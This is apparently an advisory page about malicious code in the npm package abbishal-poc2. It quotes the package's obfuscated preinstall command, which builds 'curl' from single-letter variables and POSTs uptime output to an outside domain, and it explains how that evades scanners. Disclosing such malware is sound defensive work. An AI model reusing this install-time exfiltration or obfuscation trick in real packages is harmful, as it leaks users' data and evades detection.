Malicious code in abbishal-poc2 (npm)
GitHub lists this malware advisory for abbishal-poc2. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
abbishal-poc2
source listed= 1.2.0
## Source: amazon-inspector (e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f) package.json declares a preinstall script `sh./test.sh`. test.sh assembles the string `curl` from single-character shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and then invokes `$i$h$l -d "`uptime`" https://abbishal.com/sh/poc`, POSTing the output of `uptime` (and implicitly the installer's source IP) to abbishal.com at npm install time. The README claims the package has no install scripts and no network activity, directly contradicting the shipped behavior. The command-name obfuscation via per-letter variable assembly is a technique to evade static scanners searching for `curl` in lifecycle scripts, and the destination domain does not match the package's claimed publisher. --- Credit: OpenSSF (source)
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
